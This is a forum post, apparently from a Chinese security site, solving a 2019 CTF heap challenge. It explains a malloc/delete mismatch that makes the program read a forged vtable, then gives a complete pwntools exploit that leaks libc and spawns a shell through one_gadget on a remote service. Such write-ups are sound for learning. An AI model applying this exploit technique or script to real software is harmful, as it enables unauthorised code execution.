首页
社区
课程
招聘
[原创]kanxuectf2019 第九题
2019-3-20 15:17 2404

[原创]kanxuectf2019 第九题

2019-3-20 15:17
2404
题目逻辑很清晰,可以使用两种方式对堆块进行管理(即malloc-free,new-delete)。这两种方式本质上是相同的,所以漏洞点不在这。
继续对程序分析,发现经过malloc和new申请到的堆块,程序赋予了两种不同的结构。
其中malloc的堆块,结构如下所示,全局变量ptr[i]中保存的为malloc后的起始地址

new的堆块,结构如下所示, 全局变量ptr[i]中保存的为new后的地址+8的地址
同样,两种结构也都对应了相应的删除方式。其中与malloc相对应的free,就是简单的判断块是否存在,然后释放。而与new对应的delete操作,则会从最后一个虚表指针开始判断当前保存的虚表(Vtable_ptr)中第一个虚函数是否为nullsub,如果不是,则会开始依次调用虚函数。
正常情况下,虚表函数的第一个函数确实为nullsub。
但如果我们能够伪造该虚表,不就可以劫持程序控制流了吗?。确实如此!
下面问题就是如何进行伪造了,程序没有其他溢出的地方,但我们可以注意到,程序在申请chunk时,所使用了chunk大小计算方式十分不同(以0x18大小递增)。下图为输入为0~0x100时,计算后malloc时的实际size。
因此我们可以先申请两个chunk,一个为malloc chunk(chunk0),一个为new chunk(chunk1),然后使用delete方法去释放chunk0。
由于对于new的chunk1,ptr[1] = addr + 8,其寻找vtable指针是通过*(ptr[1]-8)*0x18 + ptr[1]的方式。因此对于malloc的chunk0而言,ptr[0] = addr,*(ptr[0]-8)会误将chunk head的size字段(该size与上图所画new chunk的size不是同一个东西)当做标识分配大小的size去进行查询,从而跨越到了chunk1的空间。然后我们再在chunk1中布局假的vtable(利用程序最开始输入name,伪造虚函数指针,然后让假的虚表指向这里),从而实现后续利用(后续利用都比较常规,就是泄露libc,然后one_gadget,这里不再赘述)。
exp:
from pwn import *
from ctypes import *
import os
#import roputils as rop

remote_addr = "154.8.222.144"
remote_port = 9999

local_addr = "127.0.0.1"
local_port = 1807

pc = "./candcpp"
pwn_elf = ELF(pc)
pwn_rop = rop.ROP(pc)

uselibc = 2 #0 for no,1 for i386,2 for x64
local = 0
haslibc = 0
atta = 0

if uselibc == 2:
	context.arch = "amd64"
else:
	context.arch = "i386"

if uselibc ==2 and haslibc == 0:
	libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
	if uselibc == 1 and haslibc == 0:
		libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
	else:
		libc = ELF('./libc.so.6')

if local == 1:
	if haslibc:
		p = process(pc,env={'LD_PRELOAD':'./libc.so.6'})
	else:
		p = process(pc)
elif local == 0:
	p = remote(remote_addr,remote_port)
	if haslibc:
		libc = ELF('./libc.so.6')
else:
	p = remote(local_addr,local_port)
	if haslibc:
		libc = ELF('./libc.so.6')

context.log_level = True

if local:
	if atta:
		gdb.attach(p,'b *0x400dd2\n b*0x400dae\n')# b*0x400d90')


def sla(a,b):
	p.sendlineafter(a,b)

def sa(a,b):
	p.sendafter(a,b)

def ru(a):
	return p.recvuntil(a)

def rv(a):
	return p.recv(a)

def sn(a):
	p.send(a)

def lg(s,addr):
	print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def malloc(size,content):
	sla('>> ','1')
	sla('string\n',str(size))
	sa('string\n',content)

def free(idx):
	sla('>> ','2')
	sla('string\n',str(idx))

def new(size,content):
	sla('>> ','3')
	sla('string\n',str(size))
	sla('string\n',content)

def delete(idx):
	sla('>> ','4')
	sla('string\n',str(idx))

def puts(idx):	
	sla('>> ','5')
	sla('string\n',str(idx))

def hack():
	raw_input()
	payload = p64(0x400e10) + '\xa0\x09\x40' + '\n'
	sa('name: ',payload)
	#puts_got = pwn_elf.got['puts']
	bss_addr = 0x602328
	malloc(1,'a'*0xf)
	payload = p64(bss_addr+8)
	payload = payload.ljust(0xf,'\x00')
	payload *= 0x1e
	payload += (p64(bss_addr).ljust(0xf,'\x00'))
	new(0x200,payload)
	delete(0)
	puts_addr = int(rv(14),16)
	libc.address = puts_addr - libc.symbols['puts']
	lg('libc',libc.address)
	one_gadget = libc.address + 0xf02a4
	lg('one_gadget',one_gadget)

	sa('name: ',p64(one_gadget) + '\n')
	bss_addr = 0x602328
	malloc(1,'a'*0xf)
	#malloc(1,'a'*0xf)
	payload = p64(bss_addr) + p64(bss_addr)[:-1]
	payload = payload.ljust(0xf,'\x00')
	payload *= 0x22
	malloc(0x200,payload+'\n')
	delete(2)
	p.interactive()
hack()



[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2019-3-20 17:00 被skytar编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回